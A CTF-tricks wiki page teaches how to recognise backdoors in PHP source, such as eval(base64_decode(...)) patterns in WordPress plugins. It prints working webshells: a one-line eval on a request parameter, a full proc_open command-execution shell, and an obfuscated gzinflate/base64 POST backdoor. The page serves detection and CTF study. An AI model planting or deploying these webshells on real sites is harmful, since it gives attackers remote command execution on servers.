> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/vulnerability-discovery/source-code-analysis/trick-0293.md).

# Analyze Source Code for Backdoor

***

Analyzing retrieved source code files is a common step after obtaining file read access (like LFI). Look for suspicious functions or obfuscated code within expected file locations or custom additions.

A typical pattern to watch for is base64-encoded data passed to evaluation functions (`eval`, `assert`, `system`, etc.). A common pattern seen in malicious code is the use of `eval()` in conjunction with `base64_decode()` to hide the actual malicious code. For example, if you retrieve `wp-content/plugins/hello.php`, examine its content for anything unusual, especially within existing or added functions.

```php
<?php
/*
Plugin Name: Hello Dolly
... (normal plugin code) ...
*/

function hello_dolly() {
    // ... (normal code) ...

    // Look for added malicious lines like this:
    eval(base64_decode('your_base64_encoded_payload_here'));

    // ... (normal code) ...
}
add_action( 'admin_notices', 'hello_dolly' );
?>
```

Spotting patterns like `eval(base64_decode(...))` usually indicates a backdoor planted in the source code. Decode the payload to understand its functionality. Beyond `eval`, the `assert()` function is also frequently used for code execution. In PHP 7.x, `assert()` is a language construct and not a function, so it can be invoked using a string containing the code to be executed, such as `assert($_REQUEST['pass']);`.

Beyond simple base64, attackers may employ more complex obfuscation techniques. Look for combinations of functions like `gzinflate`, `str_rot13`, and `base64_decode` chained together before an execution function, for instance `eval(str_rot13(gzinflate(base64_decode('...'))));`.

Commonly found webshell backdoors embedded in source code might look like this simple example, allowing command execution via a request parameter:

```php
<?php if(isset($_REQUEST['cmd'])){ eval($_REQUEST['cmd']); } ?>
```

A more feature-rich simple PHP webshell might include error handling and use functions like `proc_open` for command execution:

```php
<?php
/*
Simple PHP Webshell
Created by: the_c0w
Site: http://thec0w.org
*/
error_reporting(0);
set_time_limit(0);

if (get_magic_quotes_gpc()) {
    foreach ($_GET as $key=>$value) {
        $_GET[$key] = stripslashes($value);
    }
    foreach ($_POST as $key=>$value) {
        $_POST[$key] = stripslashes($value);
    }
    foreach ($_COOKIE as $key=>$value) {
        $_COOKIE[$key] = stripslashes($value);
    }
}
function execute($command) {
    $pipes = array();
    $process = proc_open($command, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes);
    return stream_get_contents($pipes[1]);
}
if (isset($_REQUEST['cmd'])) {
    echo "<pre>";
    echo execute($_REQUEST['cmd']);
    echo "</pre>";
    die;
}
?>
```

More advanced backdoors often use obfuscation to hide their true purpose and evade detection. A typical obfuscated pattern involves decoding and decompressing data before execution:

```php
<?php $auth_pass = "YOUR_PASSWORD"; @eval(gzinflate(base64_decode($_POST['data']))); ?>
```

This example uses `base64_decode` and `gzinflate` on data from a POST request parameter named `data`, executing it using `eval`. The `@` symbol suppresses errors, making it stealthier. Such code often requires a specific password (`$auth_pass`) or parameter name to trigger the malicious functionality. Analyzing the surrounding code and variables can reveal how to activate the backdoor.